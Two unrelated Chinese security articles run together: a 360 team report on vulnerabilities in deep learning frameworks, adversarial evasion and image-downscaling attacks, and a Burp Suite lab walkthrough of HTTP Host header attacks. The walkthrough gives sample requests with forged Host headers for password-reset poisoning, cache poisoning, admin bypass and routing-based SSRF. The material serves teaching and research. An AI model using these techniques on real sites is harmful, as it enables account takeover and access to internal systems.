系统越复杂，就越有可能包含安全隐患。任何在深度学习框架以及它所依赖的组件中的安全问题都会威胁到框架之上的应用系统。另外模块往往来自不同的开发者，对模块间的接口经常有不同的理解。当这种不一致导致安全问题时，模块开发者甚至会认为是其它模块调用不符合规范而不是自己的问题。在我们的发现的导致深度学习框架崩溃的漏洞中就遇到过这种情况。
### 深度学习软件实现细节中的安全问题
正如安全人员常说的， 魔鬼隐藏于细节之中 （The Devil is In the Detail）。任何一个大型软件系统都会有实现漏洞。
考虑到深度学习框架的复杂性， 深度学习应用也不例外。
360 Team Seri0us
团队在一个月的时间里面发现了数十个深度学习框架及其依赖库中的软件漏洞。发现的漏洞包括了几乎所有常见的类型，例如内存访问越界，空指针引用，整数溢出，除零异常等。
这些漏洞潜在带来的危害可以导致对深度学习应用的拒绝服务攻击，控制流劫持，分类逃逸，以及潜在的数据污染攻击。
以下我们通过两个简单的例子来介绍深度学习框架中的漏洞以及对应用的影响。两个例子都来源于框架的依赖库，一个是TensorFlow框架所依赖的numpy包，另一个是Caffe在处理图像识别所使用的libjasper库。
案例1： 对基于TensorFlow的语音识别应用进行拒绝服务攻击
案例中的 numpy 是TensorFlow所依赖的一个负责科学计算的python库。TensorFlow的很多应用在进行矩阵运算的时候都会用的它。
我们在这个库里发现一个简单逻辑漏洞（CVE-2017-12852）。 这个问题的简单情况如下图所示，它是发生在numpy中的pad函数。
在pad函数中，存在这样一个while循环，循环结束需要使 pad_before>safe_pad和pad_after>safe_pad同时不成立，
而在我们构造的例子中，可以使得pad_before和 pad_after不断的增大，而safe_pad不断的减小，使得循环始终无法结束，从而导致拒绝服务。
图I-3. Numpy 拒绝服务攻击漏洞及官方补丁
我们选择了基于TensorFlow的语音识别应用来演示基于这个漏洞触发的攻击。攻击者通过构造语音文件，会导致上图中显示的循环无法结束，使应用程序长时间占用CPU而不返回结果，从而导致拒绝服务攻击。
我们选取了一个基于TensoFlow进行声音分类的应用来演示这个问题。这个应用是一个 TensorFlow程序演示，应用脚本源码可以从以下网站下载：[
“Urban Sound Classification”： https://aqibsaeed.github.io/2016-09-03-urban-sound-classification-part-1/ ]
当给定一个正常的狗叫的音频文件，应用可以识别声音内容为 “dog bark”，其过程如下：
./demo.sh dogbark.wav
02:34:42.713346: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations.
... ...
audio file: dogbark.wav
softmax output:
[[ 9.82184019e-07 1.81138901e-07 2.68021075e-04 9.97506797e-01
3.25933332e-04 4.26165315e-07 1.18322554e-03 4.01796569e-08
2.90570169e-05 6.85345207e-04]]
The audio is dog_bark!
当给定一个畸形的声音文件可导致拒绝服务， 程序无法正常结束：
./demo.sh dos.wav
02:37:23.818618: W tensorflow/core/platform/cpu_feature_guard.cc:45] The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available on your machine and could speed up CPU computations.
... ...
audio file: dos.wav
^C^C^C^C^C
在前面关于模块依赖复杂导致漏洞的讨论中，我们提到过对模块接口的理解不一致会导致问题。值得一提的是Numpy这个漏洞的修复过程正好反映了这个问题。在我们最初通知Numpy开发者的时候，他们认为问题是由于调用者librosa库的开发人员没有对数据进行严格检测，导致空列表的使用。所以尽管有应用会因为此问题受到拒绝服务攻击，
Numpy开发者最初认为不需要修复这个问题。但后来发现有多个其它库对numpy的相关函数也有频繁的类似调用，所以最终对这个漏洞进行了修复。同时
librosa 开发者也对相关调用添加了输入检查。
案例2：恶意图片导致基于Caffe的图像识别应用出现内存访问越界
很多深度学习的应用是在图像和视觉处理领域。我们发现当使用深度学习框架Caffe来进行图片识别时，Caffe会依赖libjasper等图像视觉库来处理输入。
libjasper对图像进行识别处理时，如果存在漏洞，例如内存越界，就可能导致整个应用程序出现崩溃，甚至数据流被篡改。下面的例子是用展示的是用Caffe所自带的例子图像识别程序来处理我们提供的畸形图片所出现的崩溃场景。
当利用Caffe来对正常图片进行分类时，正常的使用情况如下：
classification.bin ./caffe/models/bvlc_reference_caffenet/deploy.prototxt ./caffe/models/bvlc_reference_caffenet/bvlc_reference_caffenet.caffemodel ./caffe/data/ilsvrc12/imagenet_mean.binaryproto ./caffe/data/ilsvrc12/synset_words.txt
cat.jpg
---------- Prediction for pocs/cat.jpg ---------- 0.3134 - "n02123045 tabby, tabby cat"
0.2380 - "n02123159 tiger cat"
0.1235 - "n02124075 Egyptian cat"
0.1003 - "n02119022 red fox, Vulpes vulpes"
0.0715 - "n02127052 lynx, catamount"
当利用Caffe来对恶意图片进行分类时，程序出现崩溃：
classification.bin ./caffe/models/bvlc_reference_caffenet/deploy.prototxt ./caffe/models/bvlc_reference_caffenet/bvlc_reference_caffenet.caffemodel ./caffe/data/ilsvrc12/imagenet_mean.binaryproto ./caffe/data/ilsvrc12/synset_words.txt
bug.jpg
---------- Prediction for pocs/bug.jpg ---------- Segmentation fault
gdb-peda$ bt
#0 0x00007ffff3295f6b in ?? () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#1 0x00007ffff32961e0 in ?? () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#2 0x00007ffff32958ad in jpc_decode () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#3 0x00007ffff328f2f7 in jp2_decode () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#4 0x00007ffff3283eed in jas_image_decode () from /usr/lib/x86_64-linux-gnu/libjasper.so.1
#5 0x00007ffff6df4158 in cv::Jpeg2KDecoder::readHeader() () from /usr/lib/x86_64-linux-gnu/libopencv_highgui.so.2.4
#6 0x00007ffff6dd74fc in ?? () from /usr/lib/x86_64-linux-gnu/libopencv_highgui.so.2.4
#7 0x00007ffff6dd7c56 in cv::imread(std::string const&, int) () from /usr/lib/x86_64-linux-gnu/libopencv_highgui.so.2.4
#8 0x0000000000403f2b in main ()
#9 0x00007ffff606af45 in __libc_start_main (main=0x403dd0 <main>, argc=0x6, argv=0x7fffffffde28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde18) at libc-start.c:287
#10 0x000000000040435e in _start ()
以上仅仅是我们发现的众多问题中的两个展示。 360 Team Seri0s
团队已发现并公布了数十个导致深度学习框架出现问题的漏洞，其中包含已对外公开的15个CVE。 在上个月举行的ISC安全大会上，Team
Seri0s成员已经展示了六个攻击实例。更多细节请参考ISC 2017大会人工智能与安全论坛所发布的内容。
### 小结
本章节的目的是介绍被大众所忽视的人工智能安全问题，尤其是深度学习软件实现中的漏洞以及可能造成的隐患。目前在媒体中展示的深度学习应用中，许多并不与外界直接交互，例如AlphaGo；或者是在封闭的环境下工作，例如通过用户行为日志对用户分类画像并进行异常检测。这些系统的攻击面相对较小，它们并不容易受到本文中所提到的漏洞的直接影响。
但是随着人工智能应用的普及，安全威胁会不断增加。 更多的应用会把应用的输入接口直接或简介暴露出来。同时封闭系统的攻击面也会随着时间和环境而转化。
另外除了传统的基于软件漏洞的攻击，深度学习还面临对抗神经元网络以及其它各种逃逸攻击。
## II. 深度学习模型相关的安全问题
深度学习引领着新一轮的人工智能浪潮。
在受到全社会广泛关注的同时，人工智能应用也面临来自多个方面的威胁：包括深度学习框架中的软件实现漏洞、对抗机器学习的恶意样本生成、训练数据的污染等等。
这些威胁可能导致人工智能所驱动的识别系统出现混乱，形成漏判或者误判，甚至导致系统崩溃或被劫持，并可以使智能设备变成僵尸攻击工具。在推进人工智能应用的同时，我们迫切需要关注并解决这些安全问题。本文介绍在深度学习逃逸方面的一些实例和研究工作。
### 逃逸攻击简介
逃逸是指攻击者在不改变目标机器学习系统的情况下，通过构造特定输入样本以完成欺骗目标系统的攻击。例如，攻击者可以修改一个恶意软件样本的非关键特征，使得它被一个反病毒系统判定为良性样本，从而绕过检测。攻击者为实施逃逸攻击而特意构造的样本通常被称为“对抗样本”。只要一个机器学习模型没有完美地学到判别规则，攻击者就有可能构造对抗样本用以欺骗机器学习系统。例如，研究者一直试图在计算机上模仿人类视觉功能，但由于人类视觉机理过于复杂，两个系统在判别物体时依赖的规则存在一定差异。对抗图片恰好利用这些差异使得机器学习模型得出和人类视觉截然不同的结果，如图1所示[1]。
图II-1: 攻击者生成对抗样本使系统与人类有不同的判断
一个著名的逃逸样本是Ian Goodfellow[2]在2015年ICLR会议上用过的熊猫与长臂猿分类的例子。
被攻击目标是一个来谷歌的深度学习研究系统。该系统利用卷积神经元网络能够精确区分熊猫与长臂猿等图片。但是攻击者可以对熊猫图片增加少量干扰，生成的图片对人来讲仍然可以清晰地判断为熊猫，但深度学习系统会误认为长臂猿。
图2显示了熊猫原图以及经过扰动生成后的图片。
图II-2: 在图片中添加扰动导致深度学习系统的错误识别实例
下面我们从攻击者的角度介绍如何系统生成对抗样本来达到稳定的逃逸攻击。不关心技术细节的读者可忽略这些内容，直接跳到文章结尾的总结部分。
### 基于机器学习的对抗样本生成
基于机器学习的逃逸攻击可分为白盒攻击和黑盒攻击。白盒攻击需要获取机器学习模型内部的所有信息，然后直接计算得到对抗样本；黑盒攻击则只需要知道模型的输入和输出，通过观察模型输出的变化来生成对抗样本。
#### 2.1白盒攻击
深度神经网络是数学上可微的模型，在训练过程中通常使用反向传播算法得到每层的梯度来调整网络参数。假设神经网络的输入是X，类别标签是Y，
网络参数是W，输出是F(X)=W*X。训练神经网络时，对于每个确定的输入样本X，我们反复调整网络参数W使得输出值F(X)趋向于该样本的类别标签Y。白盒攻击使用同样的方法，区别只是我们固定网络参数W，反复修改输入样本X使得输出值F(X)趋向于攻击目标Y’。这意味着我们只需要修改目标函数以及约束条件，就可以使用与训练神经网络同样的方法计算得到对抗性样本。
白盒攻击的约束条件是一个关键部分。从X起始求解X’使得F(X’)=Y’的过程中，我们必须保证X’的标签不是Y’。例如，对于一个手写体输入“1”，如果我们把它改成“2”使得模型判别是“2”，那就不算是攻击。在计算机视觉领域，我们不太可能使用人力判定攻击方法生成的每一个样本X’，因此引入了距离函数Δ(X,
X’)。我们假设在一定的距离内，X’的 含义和标签与X是一致的。距离函数可以选择不同的Norm来表示，比如L2, L∞, 和L0 。
L-BFGS是第一种攻击深度学习模型的方法，它使用L2-Norm限制X’的范围，并使用最优化方法L-BFGS计算得到X’。后来基于模型的线性假设，研究者又提出了Fast Gradient Sign Method (FGSM)[3]
和DeepFool[4]等一些新方法。如果以距离Δ(X, X’)最小为目标，目前最先进的方法是Carlini-Wagner，它分别对多种距离函数做了求解优化。
#### 2.2 黑盒攻击
黑盒攻击只依赖于机器学习模型的输出，而不需要了解模型内部的构造和状态。遗传（进化）算法即是一个有效的黑盒攻击方法。
遗传算法是在计算机上模仿达尔文生物进化论的一种最优化求解方法。它主要分为两个过程：首先通过基因突变或杂交得到新一代的变种，然后以优胜劣汰的方式选择优势变种。这个过程可以周而复始，一代一代地演化，最终得到我们需要的样本。
把遗传算法用于黑盒逃逸攻击时，我们利用模型的输出给每一个变种打分，F(X’)越接近目标标签Y’则得分越高，把高分变种留下来继续演化，最终可以得到F(X’)=Y’。这种方法已经成功用于欺骗基于机器学习的计算机视觉模型以及恶意软件检测器。
### 基于遗传算法的对抗样本生成
#### 3.1 对Gmail PDF过滤的逃逸攻击
本文合作者许伟林一年前在NDSS大会上发表了名为Automatically Evading
Classifiers的论文[5]。研究工作采用遗传编程（Genetic
Programming）随机修改恶意软件的方法，成功攻击了两个号称准确率极高的恶意PDF文件分类器：PDFrate 和Hidost
。这些逃逸检测的恶意文件都是算法自动修改出来的，并不需要PDF安全专家介入。图3显示了对抗样本生成的基本流程。
图II-3: 利用进化算法生成恶意PDF对抗变种
同样的算法可以用来对实际应用的机器学习系统进行逃逸攻击。上面提到的工作可以对 Gmail内嵌的恶意软件分类器进行攻击，
并且只须4行代码修改已知恶意PDF样本就可以达到近50%的逃逸率，10亿Gmail用户都受到影响。
#### 3.2 利用Fuzzing测试的对抗样本生成
除了对模型和算法的弱点进行分析，黑盒攻击还可以借鉴模糊测试的方法来实现对抗样本的生成。下面以手写数字图像识别为例，我们的目标是产生对抗图片，使其看起来是“1”，而人工智能系统却识别为“2”。我们的主要思路是将这样一个对抗样本生成的问题，转换为一个漏洞挖掘的问题，如下图4所示。
图II-4：针对手写数字图像识别的对抗样本生成
我们主要是利用灰盒fuzzing测试的方法来实现，首先给定数字“1”的图片作为种子，然后通过对种子图片进行变异，如果机器学习系统将变异后的图片识别为“2”，那么我们认为这样一个图片就是对抗样本。
利用Fuzzing测试的对抗样本生成是基于AFL来实现的，主要做了以下几方面的改进：
1. 是漏洞注入，我们在机器学习系统中添加一个判断，当图片被识别为2时，则人为产生一个crash；
2. 是在数据变异的过程中，我们考虑文件格式的内容，优先对一些图像内容相关的数据进行变异；
3. 是在AFL已有的路径导向的基础上，增加一些关键数据的导向。
下图5是我们生成的一些对抗样本的例子。
图II-5：针对手写数字图像的对抗样本生成结果
基于Fuzzing测试的对抗样本生成方法也可以快速的应用到其他AI应用系统中，如人脸识别系统。
图II-6：针对人脸识别系统的对抗样本生成
### 基于软件漏洞进行逃逸攻击
针对AI系统的对抗性攻击，就是让人工智能系统输出错误的结果。
还是以手写图像识别为例，攻击者可以构造恶意的图片，使得人工智能系统在分类识别图片的过程中触发相应的安全漏洞，
改变程序正常执行的控制流或数据流，使得人工智能系统输出攻击者指定的结果。 攻击思路基本分为两种：
1. 基于数据流篡改可以利用任意写内存漏洞，直接将AI系统中的一些关键数据进行修改(如标签、索引等)， 使得AI系统输出错误的结果。
2. 另一种则是通过常规的控制流劫持(如堆溢出、栈溢出等漏洞)来完成对抗攻击，由于控制流劫持漏洞可以通过漏洞实现任意代码的执行，因此必然可以控制AI系统输出攻击者预期的结果。
关于软件漏洞造成的问题我们在第一章里已有详细介绍。 这里只做了一个简单介绍, 更多细节请参考ISC 2017大会人工智能与安全论坛所发布的内容。
### 小结
本文的目的是继续介绍被大众所忽视的人工智能安全问题。虽然深度学习在处理自然生成的语音图像等以达到相当高的准确率，但是对恶意构造的输入仍然有巨大的提升空间。虽然深度学习系统经过训练可以对正常输入达到很低的误判率，但是当攻击者用系统化的方法能够生成误判样本的时候，攻击的效率就可以接近100%，
从而实现稳定的逃逸攻击。 随着人工智能应用的普及，相信对逃逸攻击的研究也会越来越深入。
## III. 深度学习数据流处理中的安全风险
深度学习在很多领域受到广泛关注。 尤其在图形图像领域里，人脸识别和自动驾驶等应用正在逐渐进入我们的生活。 深度学习的流行与普及也自然带来了安全方面的考虑。
目前对深度学习的安全讨论包括深度学习平台中发现的漏洞，深度学习模型中隐藏的错误，还有对深度学习系统的逃逸攻击。
360
安全团队发现在深度学习的数据处理流程中，同样存在安全风险。攻击者在不利用平台软件实现漏洞或机器学习模型弱点的情况下，只利用深度学习数据流中的处理问题，就可以实现逃逸或数据污染攻击。
1. 攻击实例
以深度学习图片识别应用为攻击目标， 我们用几个例子来介绍降维攻击的效果。
先从一张图片开始。下面这个图应该是羊群的照片吧。 我们把这张图片送到深度学习图片识别应用程序里，看看深度学习系统会怎么说。
这里我们用的程序来自Caffe平台自带的经典图片识别应用例子，识别所用的神经元网络是由谷歌发布的GoogleNet，数据来自著名的ImageNet
比赛，模型是由伯克利用谷歌的模型加上ImageNet的数据培训的。这个平台的识别能力大家没有疑问吧。
Caffe的深度学习应用认为上面的图片是 狼 ！ （图片识别程序输出如下。 TensorFlow 的例子结果也是狼！）
# sheep.png — MD5: fce6aa3c1b03ca4ae3289f5be22e7e65
$ ./classification.bin models/bvlc_googlenet/deploy.prototxt models/bvlc_googlenet/bvlc_googlenet.caffemodel data/ilsvrc12/imagenet_mean.binaryproto data/ilsvrc12/synset_words.txt /tmp/sample/sheep.png
---------- Prediction for /tmp/sample/sheep.png ---------- 0.8890 - "n02114548 white wolf, Arctic wolf, Canis lupus tundrarum”
0.0855 - "n02120079 Arctic fox, white fox, Alopex lagopus"
再看一个例子。 下面这张图，还是羊，人来看应该是一只小羊。
那么在机器学习系统里它会被认成什么呢？
Caffe的机器学习应用会把这一张认为是猫，具体讲属于ImageNet里的猞猁猫！其它平台TensorFlow，Torch等流行的图片识别应用也是这样。
为什么会是这样？ 深度学习的训练模型没有错。问题出在深度学习应用的数据流处理上。
### 降维攻击原理
我们在前一段时间讨论过关于深度学习的逃逸攻击，主要介绍了各种让机器学习系统做出错误判别的方法。
目前学术界对深度学习逃逸攻击的研究大多集中在对抗样本生成的方法，通过各种算法在图片上生成扰动，从而导致深度学习系统的误判。
这篇文章提到的降维攻击没有使用传统的对抗样本生成策略。 降维攻击是对深度学习应用的数据流处理进行了攻击。
深度学习系统的核心是神经元网络。 深度学习所使用的静态神经元网络往往假定它的输入是一个固定的维度，这样便于设计深度神经元网络。
固定的维度带来的问题是：实际的输入并不一定与神经元网络模型输入用相同的维度。
解决这种维度不匹配的方法有两个，一个是要求所有的输入都必须是模型使用的维度，其它输入一概扔掉。
另外一个选择是对输入进行维度调整。对于试图对广泛图片进行识别的应用里，大多采用了第二种方法。在具体图像识别应用里，就是把大的输入图片进行维度缩减，小的图片进行维度放大。
下图为一个典型的深度学习应用的数据流处理过程。
【 深度学习应用的数据流程图 】
维度变化的结果是，深度学习模型真正用到的数据是维度变化过的图片。
维度变化的算法有很多种，常用的包括最近点抽取，双线性插值等。这些算法的目的是在对图片降维的同时尽量保持图片原有的样子。
但是这些常用的降维算法没有考虑恶意构造的输入。上面的两个攻击图片例子都是针对最常用的双线性插值构造的恶意攻击样本。
我们用下面的图片展示人看到的图片和深度学习真正看到的图片 （左边一列是原始输入，右边是深度学习系统后端模型认为的输入）。
图片左边是对深度学习应用的输入图片，右边是降维后的图片。 羊群图片经过缩减，就会变成一只雪地里的白狼。 卡通小羊的图片也就变成了可爱小猫的图片。
当然这些输入图片是经过特殊处理构造的，专门让降维函数出现这种异常的结果。
基于这个攻击思路，我们也对其它深度学习应用进行了测试。 例如著名的深度学习教科书案例 MINST
手写数字识别，我们可以成功生成对人很清楚的数字，但会被深度学习系统误识别的图片。下面显示了四组图片。
每一组中，左边是对应用的输入，也就是人看到的图片；右边是人看不到，但是被机器学习模型最后处理的图片。
这样的图片变化，造成深度学习系统出现错误识别应该不难理解。
### 降维攻击影响范围及防范手段
降维攻击会影响到使用维度调整的深度学习系统。 著名的深度学习平台，包括TensorFlow，Caffe，Torch都提供维度调整函数供深度学习应用程序使用。
下面的表格里展示了常用深度学习框架中使用的维度调整算法。使用这些算法的程序都可能受到降维攻击的影响。
根据我们的初步分析，几乎所有网上流行的深度学习图片识别程序都有被降维攻击的风险。
对于降维攻击的防范，用户可以采用对超出异常的图片进行过滤，对降维前后的图片进行比对，以及采用更加健壮的降维算法等。
### 小结
本文的目的是继续介绍被大众所忽视的人工智能安全问题。降维攻击是对深度学习的数据流进行攻击的一种新型攻击方法，主要影响对任意图片进行识别的深度学习应用程序。
我们希望通过这些工作提醒公众，在拥抱人工智能热潮的同时，需要持续关注深度学习系统中的安全问题。
## 参考文献
[1] Freebuf 机器学习对抗性攻击报告
[2] Ian Goodfellow and Jonathon Shlens and Christian Szegedy, Explaining and
Harnessing Adversarial Examples. International Conference on Learning
Representations, 2015.
[3] Guyen, A., J. Yosinski, and J. Clune, Deep neural networks are easily
fooled: High confidence predictions for unrecognizable images. 2015: p.
427-436.
[4] Moosavi Dezfooli, Seyed Mohsen and Fawzi, Alhussein and Frossard, Pascal,
DeepFool: a simple and accurate method to fool deep neural networks,
Proceedings of 2016 IEEE Conference on Computer Vision and Pattern Recognition
(CVPR), 2016.
[5] Weilin Xu, Yanjun Qi, and David Evans, Automatically Evading Classifiers A
Case Study on PDF Malware Classifiers, NDSS, 2016
[6] Qixue Xiao, Kang Li, Deyue Zhang, and Weilin Xu, Security Risks in Deep
Learning Implementations, arXiv:1711.11008.
<https://arxiv.org/abs/1711.11008>, 2017
[7] Qixue Xiao, Kang Li, Deyue Zhang, and Yier Jin, The Downscaling Attack
Against Deep Learning Applications, arXiv:1711.11008.
<https://arxiv.org/abs/1712.07805>, 2017
[8] Richard Chirgwin, What do TensorFlow, Caffe, and Torch have in Common?
Open CVEs.
<https://www.theregister.co.uk/2017/11/30/machine_learning_vulnerabilities/>
2017 | 社区文章 |
# 梨子带你刷burpsuite靶场之高级漏洞篇 - HTTP Host头攻击专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 高级漏洞篇介绍
> 相对于服务器端漏洞篇和客户端漏洞篇，高级漏洞篇需要更深入的知识以及更复杂的利用手段，该篇也是梨子的全程学习记录，力求把漏洞原理及利用等讲的通俗易懂。
## 高级漏洞篇 – HTTP Host头攻击专题
### 什么是HTTP Host头？
从HTTP/1.1开始，HTTP Host头是强制性的请求头。它指定客户端要访问的域名或IP。例如
GET /web-security HTTP/1.1
Host: portswigger.net
我们在前面的专题有讲过我们可以通过一些其他HTTP请求头覆盖Host的值以向指定的新的域名或IP发出该请求。
### 设置HTTP Host头有什么作用？
现在的互联网规模这么大，为了节约资源，会选择将多个应用程序部署在同一个IP上。HTTP
Host头就是用来区分用户欲请求的是哪个应用程序。目前有以下几种情况是需要使用这种办法的。
### 虚拟主机
虚拟主机就是将一台物理服务器虚拟成多台服务器用于部署不同的应用程序。这种情况有时会出现在SaaS中。对于访问应用程序的用户来说，他们可能并不能察觉到这些应用程序是部署在同一个IP上的。
### 通过中转路由流量
另一种情况是不同的应用程序部署在不同的物理服务器上，但是所有的流量都会经过一个中转进行流量路由，一般通过负载均衡或反向代理的技术实现的。这种技术一般应用于CDN中。
## 什么是HTTP Host头攻击？
应用程序有时会将Host值拼接到某些地方，但是由于Host的值是可以通过burp手动修改的，所以就可能会导致一些恶意的拼接，HTTP
Host头攻击可以发动这些攻击
* Web缓存投毒
* 特定功能点的商业逻辑漏洞
* 基于路由的SSRF
* 经典服务器端漏洞，如Sql注入等
## 如何测试使用HTTP Host头的漏洞？
### 提供任意的HTTP Host头
这一步很明显，就是我们尝试将Host头修改成任意域名或IP，比如我们常用的度度，然后观察响应是否会有变化，以此来检测是否存在HTTP Host头攻击。
### 检查有缺陷的验证点
有的是否应用程序并不会直接返回Invalid Host
header，而是有一些其他的处理措施。有些对Host头的验证点的解析规则是有缺陷的，比如仅会验证域名而不验证端口号。这个知识点其实我们在Web缓存投毒专题中介绍过，通过把payload附在端口号中从而将其反馈到响应中。例如
GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here
有的应用程序只会验证是否以允许的子域结尾，但是我们让Host以它结尾即可，例如
GET /example HTTP/1.1
Host: notvulnerable-website.com
也可以直接这样
GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com
还有一些其他的利用解析的缺陷的，可以回去翻看SSRF和Origin头解析错误方面的内容。
### 发送模棱两可的请求
有的时候你不知道目标应用程序有没有做了负载均衡或反向代理之类的，我们可以发送一些模棱两可的请求，这样可以通过响应的差异判断我们的请求被发送到后面的哪一台目标了。我们大概可以从下面几种方式尝试构造这样的请求。
**注入多个Host头**
有的时候我们可以添加多个Host头，而且一般开发者并没有预料到这种情况而没有设置任何处理措施，这就可能导致某个Host头会覆盖掉另一个Host头的值，例如
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
如果服务器端会将第二个Host头优先于第一个Host头，就会覆盖掉它的值，然后中转组件会因为第一个Host头指定了正确的目标而照常转发这个请求包，这样就能保证它可以顺利到达服务器。
**提供绝对URL**
正常情况下请求行采用的是相对地址，但是也是允许使用绝对地址的，就是将原本的Host值拼接到相对地址前面构成绝对地址，这时我们将Host头值替换为payload就可能会发生不可思议的事，例如
GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here
有时还可以修改一下URL的协议观察一下有没有什么差异，比如把HTTPS换成HTTP等。
**添加换行**
有的时候我们还可以通过添加空格缩进来触发某种解析差异，它们会把空格缩进解析成换行从而忽略该Host头，例如
GET /example HTTP/1.1
Host: bad-stuff-here
Host: vulnerable-website.com
虽然有的应用程序不会接受多个Host头的请求，但是因为会忽略掉一个而成功发出请求。该请求到达后端后还是会正常处理第一个Host头，这样就可以利用这种差异注入payload。
**其他技术**
还有一种比较高级的技术，就是HTTP请求走私，关于这个我们将在下一个专题专门讲解它
### 注入可覆盖Host的请求头
前面的专题中也有介绍过，有一些请求头的值是可以覆盖Host的值的，比如X-Forwarded-Host，当我们发出这样的请求时就会触发覆盖
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here
可以达到相同目的的还有这些头
* X-Host
* X-Forwarded-Server
* X-HTTP-Host-Override
* Forwarded
我们可以通过前面介绍过的Param Miner插件的Guess headers功能发现这些奇奇怪怪的头
## HTTP Host头有哪些利用？
### 密码重置投毒
**密码重置是怎么样的过程？**
大部分的应用程序都提供了密码重置功能。比较常见的密码重置流程是这样的
* 用户输入他们的用户名或电子邮件地址并提交密码重置请求
* 如果用户名或电子邮件地址存在的话就会将其与一个Token绑定
* 然后用户接收到一个附有这个Token的重置密码链接
* 用户点击以后就可以修改与该Token绑定的用户的密码，修改完密码以后Token就会随之销毁。
理论上只有用户本人会接收到这个链接，但是通过密码重置投毒可以窃取到这个链接。
**如何构造密码重置投毒攻击？**
如果应用程序根据Host头记录接收密码重置链接的地址，则可以通过密码重置投毒攻击获取到指定用户的密码重置链接，下面我们介绍一下构造过程。
* 我们修改提交密码重置请求中的Host为目标的域
* 这时候该用户会收到一封密码重置链接的邮件，但是这条链接会请求刚才Host设置的域，而不是真正用于密码重置的域
* 如果受害者点击该链接，攻击者就能获得与用户绑定的密码重置操作的Token
* 攻击者向真正密码重置的域发出请求并附上刚才获取到的Token即可成功重置受害者用户的密码了
为了增加受害者点击链接的可能性，我们可以利用一些暗示。如果这种攻击方式不成功还可以尝试使用悬挂标记攻击窃取Token。
**配套靶场1：基础密码重置投毒**
首先我们找到密码重置点
然后我们点到重置密码的页面
我们输入要伪造的用户名carlos然后抓包
然后我们进到Exploit Server查看我们要伪造的邮件服务器域名
然后把Host字段改成这个，然后放包，再进到Exploit Server的Access Log里面看获取到的重置密码Token
然后把这个Token构造进重置密码链接里面进行密码重置
重置密码成功后成功登录carlos的账户
**配套靶场2：通过悬挂标记的密码重置投毒**
这一关我们发现Host没有对端口号进行鉴别，导致我们可以把任意字符串拼接到端口号后面，这样应该算是一种HTTP走私攻击了，术语里面叫HTTP头部污染，因为这一关是系统那边给我们分配密码，所以只能通过这种方法把分配的密码带出来，于是我们这么伪造Host
成功登录carlos用户
### 通过Host头的Web缓存投毒
在上一个专题Web缓存投毒中我们其实也讲了这种攻击手段，当时是利用Web缓存投毒发动XSS攻击。这种攻击手段可以让本来无法通过Host让目标用户遭受攻击的情况重新可以让目标用户接收到恶意响应缓存。
### 配套靶场：通过模棱两可的请求的Web缓存投毒
这里我们可以再加一个Host字段覆盖掉原来的Host字段
然后我们到Exploit Server伪造一个我们的/resources/js/tracking.js
然后产生Web缓存，访问主页的人就会接收到投毒缓存了
### 触发经典的服务器端漏洞
经典的服务器端漏洞大部分都是由于含有payload的请求头导致的，当然，Host头也是，有时候可以通过向Host注入payload触发如Sql注入之类的漏洞。
### 访问受限的功能
有的功能点被限制为只允许内部用户访问，但是有时候通过简单修改Host头就可以绕过这种限制。
### 配套靶场：Host头验证绕过
打开robots.txt找到了管理页面
然后进到管理页面发现以下提示
这里提示我们只有本地用户才能访问，那么我们就在Host字段中伪造我们是本地用户
然后我们成功访问到管理页面，然后成功删除Carlos用户
### 利用爆破虚拟主机访问内部网站
有的网站运营者会把对外和对内的网站部署在同一台服务器上，但是内部网站往往无法通过DNS查询到内部IP，但是可以通过如信息泄漏、暴力破解的方式知道其内部IP。
### 基于路由的SSRF
基于路由的SSRF是利用负载均衡或者反向代理的特性发动的攻击。因为负载均衡和反向代理的作用都是中转流量，会根据Host去路由，但是如果没有进行严格的限制，可能会仅仅通过修改Host就让它们将请求包转发到其他域。并且它们既可以接收来自外部网络的请求，还能请求大部分的内部网络，所以经常它们会被当成攻击目标。我们可以通过先将请求转发到burp
collaborator来探测是否存在该漏洞。
### 配套靶场1：基于路由的SSRF
基于路由的SSRF典型利用点是修改Host，首先我们先测试一下能不能向外发请求，打开我们的burp collaborator
client，把Host替换为生成的地址，然后发包
然后我们在burp collaborator client点poll now等着接收
成功接收，说明服务器是可以向任意地址发出请求的，然后我们爆破一下admin在哪台主机下，把Host改成192.168.0.0然后发到Intruder里面将最后一个0设置为变量，Payload
type改成numbers，设置从0到255，递进1
然后Start Attack，然后按状态码排序得到admin在192.168.0.3
然后把包传到Repeater里，跳转以后把Host手动改成192.168.0.3(不然会返回404)
然后我们找到了提交删除用户表单的地方，需要构造两个参数
然后在request栏右键change request method以后将两个参数csrf和username及它们的值写在body里，发包
成功删除用户
### 配套靶场2：利用请求解析缺陷的SSRF
首先我们试一下修改Host为burp collaborator的地址看看服务端允不允许访问
发现修改Host会被禁止，那我们试试把URL换成靶机的绝对地址试试
从图中发现URL换成绝对地址就可以让服务端向外根据Host发出请求，然后把Host改成192.168.0.0，然后发到Intruder里面爆破一下，还是numbers类型
爆破出来192.168.0.26是后台地址，发到repeater里追踪一下重定向
